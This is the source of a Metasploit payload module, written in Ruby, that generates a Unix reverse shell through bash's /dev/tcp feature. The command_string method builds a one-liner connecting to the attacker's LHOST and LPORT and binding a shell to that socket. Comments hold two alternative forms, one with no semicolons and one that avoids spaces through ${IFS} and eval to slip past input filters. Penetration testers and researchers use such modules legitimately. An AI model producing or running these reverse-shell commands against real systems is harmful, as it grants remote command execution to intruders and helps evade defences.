Unix Command Shell, Reverse TCP (/dev/tcp)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
     'Description'   => %q{
        Creates an interactive shell via bash's builtin /dev/tcp.

        This will not work on circa 2009 and older Debian-based Linux
        distributions (including Ubuntu) because they compile bash
        without the /dev/tcp feature.
      },
     'Author'        => 'hdm',
     'License'       => MSF_LICENSE,
     'Platform'      => 'unix',
     'Arch'          => ARCH_CMD,
     'Handler'       => Msf::Handler::ReverseTcp,
     'Session'       => Msf::Sessions::CommandShellUnix,
     'PayloadType'   => 'cmd_bash',
     'RequiredCmd'   => 'bash-tcp',
     'Payload'       =>
       {
         'Offsets' => { },
         'Payload' => ''
       }
    ))
    register_advanced_options(
      [
        OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
        OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    vprint_good(command_string)
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    fd = rand(200) + 20
    return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'";
    # same thing, no semicolons
    #return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
    # same thing, no spaces
    #return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
  end
end